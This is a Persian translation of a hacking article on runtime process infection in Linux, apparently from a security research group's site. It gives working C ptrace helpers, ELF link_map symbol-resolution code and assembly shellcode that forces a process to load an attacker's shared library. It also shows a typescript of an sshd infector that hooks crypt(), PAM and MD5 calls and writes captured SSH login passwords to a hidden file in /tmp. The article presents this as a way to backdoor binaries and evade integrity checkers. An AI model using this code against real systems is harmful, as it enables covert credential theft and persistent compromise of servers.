آلوده سازی پروسه در زمان اجرا[1]

مقدمه

هدف این مقاله معرفی چندین روش برای آلوده کردن باینری ها در زمان اجرا می باشد. اگرچه نواحی ممکن دیگری نیز برای استفاده از این تکنیک وجود دارند، اما ما روی چیزهای ناشناخته تر و مضرتر تمرکز می کنیم که از جمله می توان به backdoor کردن باینری ها اشاره کرد. به هر حال، این هدف این مقاله، نه اشکال زدای ELF، و نه راهنمایی راجع به عملیات linking می باشد. فرض می رود که خواننده اندکی با ELF آشنایی دارد. همچنین این مقاله اکیدا روی لینوکس x84 مستندسازی شده است، اگرچه همان تکنیک ها و روش ها را می توان براحتی روی دیگر پلاتفرم ها نیز اعمال کرد.

۱. ptrace() – اشکال زدایی API در لینوکس

لینوکس یک تابع ساده برای بازی با پروسه ها ارائه می دهد و این تابع می تواند تقریبا هرکار مورد نیاز را انجام دهد. ما در اینجا ptrace() را عمیق تر بررسی نخواهیم کرد، چرا که این تابع کاملا ساده بوده و تقریبا تمامی چیزهایی که جهت کارکرد با این تابع نیاز داریم را می توان در صفحات راهنما پیدا کرد. به هر حال، ما چندین تابع راهنما (helper) را جهت کارکرد آسانتر با ptrace() ارائه می دهیم.

```
/* attach to pid */

	void
	ptrace_attach(int pid)
	{
		if((ptrace(PTRACE_ATTACH , pid , NULL , NULL)) < 0) {
			perror("ptrace_attach");
			exit(-1);
		}

		waitpid(pid , NULL , WUNTRACED);
	}


/* continue execution */

	void
	ptrace_cont(int pid)
	{
		if((ptrace(PTRACE_CONT , pid , NULL , NULL)) < 0) {
			perror("ptrace_cont");
			exit(-1);
		}
```

[1] Runtime Process Infection

```
                while (!WIFSTOPPED(s)) waitpid(pid , &s , WNOHANG);
        }


/* detach process */

        void
        ptrace_detach(int pid)
        {
                if(ptrace(PTRACE_DETACH, pid , NULL , NULL) < 0) {
                        perror("ptrace_detach");
                        exit(-1);
                }
        }

/* read data from location addr */

        void *
        read_data(int pid ,unsigned long addr ,void *vptr ,int len)
        {
                int i , count;
                long word;
                unsigned long *ptr = (unsigned long *) vptr;

                count = i = 0;

                while (count < len) {
                        word = ptrace(PTRACE_PEEKTEXT ,pid ,addr+count, \
NULL);
                        count += 4;
                        ptr[i++] = word;
                }
        }


/* write data to location addr */

        void
        write_data(int pid ,unsigned long addr ,void *vptr,int len)
        {
        int i , count;
        long word;

                i = count = 0;

                while (count < len) {
                        memcpy(&word , vptr+count , sizeof(word));
                        word = ptrace(PTRACE_POKETEXT, pid , \
                                addr+count , word);
                        count +=4;
                }
        }
```

۲. تجزیه کردن (resolving) نشانه ها

مادامی که ما هرگونه از تغییر/انقطاع[۲] تابع را طرح ریزی می کنیم، به روش هایی جهت تعیین محل چند تابع مشخص در باینری نیاز داریم. در این لحظه ما از link-map جهت تحقق این هدف استفاده می کنیم. Link_map یک linker پویا برای ساختار درونی بوده که ردپای کتابخانه ها و نشانه های (symbol) درون کتابخانه ها را نگه می دارد (به ثبت می رساند). اصولا link-map یک لیست اتصالی (linked-list) است که هر آیتم موجود در لیست دارای یک اشاره گر به کتابخانه بارگذاری است. درست مانند کاری که dynamic linker انجام می دهد، هنگامی که این برنامه نیاز به یافتن نشانه داشته باشد، ما می توانیم این لیست را به جلو و عقب برانیم و هر کتابخانه موجود در لیست را جهت یافتن نشانه خود بررسی کنیم. Link-map را می توان در دومین entry مربوط به GOT (global offset table) از هر فایل شی ای (object file) یافت. خواندن آدرس گره ای link-map و شروع پیگیری گره های link-map تا زمان یافتن نشانه مورد نظر، برای ما مشکلی نخواهد بود.

from link.h:

```
struct link_map
{
  ElfW(Addr) l_addr;  /* Base address shared object is loaded */
  char *l_name;  /* Absolute file name object was found in.  */
  ElfW(Dyn) *l_ld;  /* Dynamic section of the shared object.  */
  struct link_map *l_next, *l_prev; /* Chain of loaded objects.*/
};
```

این ساختار خود گویای همه چیز می باشد، اما در زیر توضیح مختصری از تمام آیتم ها را خواهیم داشت:

l_addr: آدرس اصلی که شی اشتراکی بارگذاری شده است. این مقدار را می توان از /proc/<pid>/maps نیز دریافت کرد.

l_name: اشاره گر به نام کتابخانه در رشته table.

l_id: اشاره گر به قسمت های پویا (DT_*) از کتابخانه اشتراکی.

l_next: اشاره گر به گره بعدی از link_map

l_prev: اشاره گر به گره قبلی از link_map

مفهوم symbol resolving با نام ساختمان link_map ساده است. ما در لیست link_map پیمایش می کنیم، هر آیتم l_name را مقایسه می کنیم تا زمانیکه کتابخانه ای که نشانه ما در آن وجود دارد یافت شود. سپس به ساختمان l_ld رفته و در بین قسمت های پویا پیمایش کرده تا زمانی DT_SYMTAB و DT_STRTAB پیدا شوند و سرانجام می توانیم نشانه خود را از DT_SYMTAB بیابیم. این کار به آهستگی صورت می گیرد اما برای مثال ما مناسب خواهد بود. با استفاده از جدول HASH برای نشانه، جستجو سریع تر خواهد بود، اما این کار بعنوان تمرین به عهده خواننده واگذار می شود.

اکنون چندین تابع را بررسی می کنیم که کار با link_map را آسانتر می کنند. کد زیر بر اساس کد grugg کار می کند و برای استفاده از ()ptrace جهت resolve شدن در فضای آدرسی پروسه دیگر تغییر یافته است.

---

[2] Intercepting/modifying

```
/* locate link-map in pid's memory */

struct link_map *
locate_linkmap(int pid)
{
	Elf32_Ehdr	*ehdr	= malloc(sizeof(Elf32_Ehdr));
	Elf32_Phdr	*phdr	= malloc(sizeof(Elf32_Phdr));
	Elf32_Dyn	*dyn	= malloc(sizeof(Elf32_Dyn));
	Elf32_Word	got;
	struct link_map *l	= malloc(sizeof(struct link_map));
	unsigned long	phdr_addr , dyn_addr , map_addr;


	/* first we check from elf header, mapped at 0x08048000, the offset
	 * to the program header table from where we try to locate
	 * PT_DYNAMIC section.
	 */

	read_data(pid , 0x08048000 , ehdr , sizeof(Elf32_Ehdr));

	phdr_addr = 0x08048000 + ehdr->e_phoff;
	printf("program header at %p\n", phdr_addr);

	read_data(pid , phdr_addr, phdr , sizeof(Elf32_Phdr));

	while ( phdr->p_type != PT_DYNAMIC ) {
			read_data(pid, phdr_addr += sizeof(Elf32_Phdr), phdr, \
				sizeof(Elf32_Phdr));
	}

	/* now go through dynamic section until we find address of the GOT
	 */

	read_data(pid, phdr->p_vaddr, dyn, sizeof(Elf32_Dyn));
	dyn_addr = phdr->p_vaddr;

	while ( dyn->d_tag != DT_PLTGOT ) {
			read_data(pid, dyn_addr += sizeof(Elf32_Dyn), dyn,\
				sizeof(Elf32_Dyn));
	}

	got = (Elf32_Word) dyn->d_un.d_ptr;
	got += 4;			/* second GOT entry, remember? */

	/* now just read first link_map item and return it */
	read_data(pid, (unsigned long) got, &map_addr , 4);
	read_data(pid , map_addr, l , sizeof(struct link_map));

	free(phdr);
	free(ehdr);
	free(dyn);
```

```
	return l;
}

/* search locations of DT_SYMTAB and DT_STRTAB and save them into global
 * variables, also save the nchains from hash table.
 */


unsigned long	symtab;
unsigned long	strtab;
int		nchains;


void
resolv_tables(int pid , struct link_map *map)
{
	Elf32_Dyn	*dyn	= malloc(sizeof(Elf32_Dyn));
	unsigned long	addr;

	addr = (unsigned long) map->l_ld;

	read_data(pid , addr, dyn, sizeof(Elf32_Dyn));

	while ( dyn->d_tag ) {
			switch ( dyn->d_tag ) {

				case DT_HASH:
					read_data(pid,dyn->d_un.d_ptr +\
						map->l_addr+4,\
						&nchains , sizeof(nchains));
					break;

				case DT_STRTAB:
					strtab = dyn->d_un.d_ptr;
					break;

				case DT_SYMTAB:
					symtab = dyn->d_un.d_ptr;
					break;

				default:
					break;
			}

			addr += sizeof(Elf32_Dyn);
			read_data(pid, addr , dyn , sizeof(Elf32_Dyn));
	}

	free(dyn);
}
```

```
/* find symbol in DT_SYMTAB */

unsigned long
find_sym_in_tables(int pid, struct link_map *map , char *sym_name)
{
	Elf32_Sym	*sym = malloc(sizeof(Elf32_Sym));
	char		*str;
	int		i;

	i = 0;

	while (i < nchains) {
			read_data(pid, symtab+(i*sizeof(Elf32_Sym)), sym,
				sizeof(Elf32_Sym));
			i++;

			if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC) continue;

			/* read symbol name from the string table */
			str = read_str(pid, strtab + sym->st_name);

			if(strncmp(str , sym_name , strlen(sym_name)) == 0)
				return(map->l_addr+sym->st_value);
	}

	/* no symbol found, return 0 */
	return 0;
}
```

ما از nchains **(تعداد آیتم ها در آرایه زنجیره ای) که بوسیله** DT_HASH **ذخیره شده استفاده می کنیم تا تعداد نشانه های مورد استفاده هر کتابخانه را بررسی کنیم. لذا می توانیم در هر نقطه که نشانه مورد نظر ما یافت شد، عملیات خواندن را متوقف کنیم.**

۳. تزریق کد سالم اسمبلی (pure-ASM code)

ما به صورت اجمالی این قسمت را مورد بحث قرار می دهیم. تزریق گرهای ساده کد pure-asm **به خوبی از عهده این کار بر می آیند و تکنیک مورد استفاده آنها نیز کاملا واضح و شفاف می باشد. این برنامه ها** opcode **(کدهای دلخواه) ها را درون حافظه پروسه اضافه می کنند و داده های قدیمی را جاینویسی کرده و با** sbrk() **یا یافتن فضا برای کد ما فضای مورد نیاز را تخصیص می دهند. به هر حال، روش دیگری نیز وجود دارد که در این روش مجبور نیستید راجع به یافتن فضا برای کد خود نگران باشید (حداقل هنگام کار با کتابخانه های اتصالی پویا).**

۴. تزریق .so – روشی ساده

بجای تزریق کد اسمبلیِ سالم (pure-asm)**، ما می توانیم پروسه را جهت بارگذاری کتابخانه اشتراکی خود مجبور کنید و به** runtime dynamic linker **اجازه این کار را دهیم که تمام کارهای مضر و دلخواه را برای ما انجام دهد. مهم ترین فایده**

این روش، سادگی آن می باشد، ما می توانیم کد so. را با کدهای سالم C بنویسیم و نشانه های خارجی را فراخوانی کنیم. Libdl یک واسط برنامه نویسی را برای dynamic linking loader ارائه می دهد، اما نگاهی سریع به منابع libdl به ما نشان می دهد که ()dlopen، ()dlsym و ()dlclose، توابعی پوششی با یک نوع بررسی کننده خارجی خطا می باشد، در حالیکه توابع واقعی در libc قرار دارند. در زیر prototype ای را به ()_dl_open از glibc-2.2.4/elf/dl-open.c می بینید:

```
void *
internal_function
_dl_open (const char *file, int mode, const void *caller);
```

پارامترها تقریبا همانند ()dlopen هستند و تنها یک پارامتر اضافی به صورت caller* دارد. این پارامتر یک اشاره گر به روتین فراخواننده بوده و چندان برای ما مهم نیست و لذا می توانیم با اطمینان کامل آنرا نادیده بگیریم. ما به دیگر توابع dl* نیز نیاز نخواهیم داشت.

پس ما می دانیم که کدام تابع را می توانیم برای بارگذاری کتابخانه اشتراکی خود مورد استفاده قرار می دهیم و اکنون می توانیم یک قطعه کد اسمبلی کوچک را بنویسیم که ()_dl_open را فراخوانی کرده کتباخانه ما را بارگذاری می کند؛ و این دقیقا همان چیزی است که ما می خواهیم انجام دهیم. باید توجه داشت که ()_dl_open به عنوان یک تابع داخلی (internal_function) تعریف شده است، به این معنی که پارامترهای تابع به روشی متفاوت منتقل می شوند، به این صورت که انتقال پارامترها بجای پشته، با استفاده از ثبات ها انجام می شود. ترتیب پارامترها را در زیر می بینید:

```
EAX = const char *file
ECX = const void *caller (we set it to NULL)
EDX = int mode (RTLD_LAZY)
```

با در اختیار داشتن این اطلاعات، ما کد کوچک خود را که بارکننده so. می باشد، ارائه می دهیم:

```
_start:     jmp string

begin:      pop     eax                     ; char *file
            xor     ecx     ,ecx            ; *caller
            mov     edx     ,0x1            ; int mode

            mov     ebx,    0x12345678      ; addr of _dl_open()
            call    ebx                     ; call _dl_open!
            add     esp,    0x4

            int3                            ; breakpoint

string: call begin
            db "/tmp/ourlibby.so",0x00
```

با حقه goog'old که توسط Aleph ارائه شد، ما مکان بارکننده (loader position) را مستقل می کنیم (در حقیقت اجباری به بودن آن وجود ندارد، لذا ما می توانیم آنرا تقریبا در هر جایی که می خواهیم قرار دهیم). ما همچنین int3 را برای 'call' قرار می دهیم، لذا پروسه اجرا را در آنجا متوقف کرده و آنگاه ما می توانیم بارکننده خود را با یک نسخه پشتیبان

(backup) و اصلی، جاینویسی کنیم. آدرس ()_dl_open هنوز شناخته شده نیست، اما می توانیم براحتی آنرا بعد از کد patch کنیم.

راه واضح تر می تواند گرفتن ثبات ها با ptrace (pid، PTRACE_GETREGS و ...) و نوشتن پارامترها در ساختمان user_regs_struct باشد و پس از آن رشته libpath را در پشته ذخیره کرده و int 0x80 و int3 را تزریق می کنیم. در مورد تزریق so. باید گفت که این عمل به طور مشخص و واضح با باینری های کامپایل شده به صورت ایستا کار نخواهد کرد، چرا که باینری های ایستا dynamic linker را به صورت بارگذاری شده در اختیار ندارند. برای چنین باینری هایی، شخص مجبور به چیز دیگری فکر کند و شاید آن چیز تزریق کد سالم اسمبلی باشد. مشکل و چالش دیگر در تزریق اشیای اشتراکی این است که می توان آنرا براحتی با نگاه کردن به /proc/<pid>/maps تشخیص داد. به هر حال، شخص می توانیم از patch کردن lkm یا kmem برای مخفی کردن آنها استفاده کند یا اینکه می تواند کتابخانه هایی که از قبل بارگذاری شده اند را با نشانه های جدید آلوده سازد و سپس آنها را reload کند.

برای آلوده سازی در زمان اجرا (runtime infection)، هدایت تابع (function redirection) آشکارترین کار ممکن می باشد. همان طور که Silvio Cesare در مقاله خود نشانه داد که PLT یا Procedure Linking Table، شفاف ترین و راحت ترین کار ممکن می باشد.

۵. نتیجه

آلوده سازی در زمان اجرا تکنیک جالب و فوق العاده ای است. این تکنیک تنها pax، openwall و دیگر patch های هسته ای از این قبیل را منتقل نمی کند، بلکه این کار را روی tripwire و دیگر بررسی کننده های درستی فایل را نیز انتقال می دهد. به عنوان نمونه ای از قابلیت های آلوده سازی در زمان اجرا یک کد sshd-infector را در انتهای این مقاله قرار داده ام. این برنامه قابلیت جاسوسی روی ()crypt، PAM و پسوردهای MD5 از کاربران لاگین شده با SSHD را نیز دارد.

منابع

1. More elf buggery, bugtraq post, by grugq
   http://online.securityfocus.com/archive/1/274283/2002-07-10/2002-07-16/2

2. Shared lib redirection by Silvio Cesare
   http://www.big.net.au/~silvio/lib-redirection.txt

   Subversive Dynamic Linking, by grugq
   http://online.securityfocus.com/data/library/subversiveld.pdf

   Shaun Clowes's Blackhat 2001 presentation slides
   http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt

   Tool Interface Standard (TIS) Executable and Linking Format Specification
   http://x86.ddj.com/ftp/manuals/tools/elf.pdf

   ptrace(2) man page
   http://www.die.net/doc/linux/man/man2/ptrace.2.html

ضمیمه الف: تزریق کننده زمان اجرای SSHD

sshf typescript:

```
root@:/tmp> tar zxvf sshf.tgz
sshf/
sshf/sshf.c
sshf/evilsshd.c
sshf/Makefile.in
sshf/config.h.in
sshf/configure
root@:/tmp> cd sshf
root@:/tmp/sshf> ./configure ; make
checking for gcc... gcc
checking for C compiler default output... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for executable suffix...
checking for object suffix... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for pam_start in -lpam... yes
checking for MD5_Update in -lcrypto... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
gcc -w -fPIC -shared -o evilsshd.so evilsshd.c -lcrypt -lcrypto -lpam
-DHAVE_CONFIG_H
gcc -w -o sshf sshf.c
root@:/tmp/sshf> ps auwx | grep sshd
root     9597  0.0  0.3  2840 1312 ?        S    03:04   0:00 sshd
root@:/tmp/sshf>
root@:/tmp/sshf> ./sshf 9597 /tmp/sshf/evilsshd.so
attached to pid 9597
_dl_open at 0x4023014c
stopped 9597 at 0x402017ee
jam! if it jams here, try to telnet into sshd port or smthing
lib injection done!
org crypt() at 0x804b860, evil crypt at 0x40265d60
org getspnam at 0x804afa0, evil getspnam at 0x40265e0c
org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84
org MD5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec
all done, now quiting...
root@:/tmp/sshf>
root@:/tmp/sshf> ssh -l luser 127.0.0.1
luser@127.0.0.1's password:
[luser@localhost:~>ls -al /tmp/.sshd_passwordz
-rw-r--r--    1 root     root         104 Jul 14 03:27
/tmp/.sshd_passwordz
[luser@localhost:~>exit
```

Enjoy.

ترجمه: سعید بیکی (cephexin@secumania.net)

© Secumania Security & Vulnerability Research Lab
www.secumania.net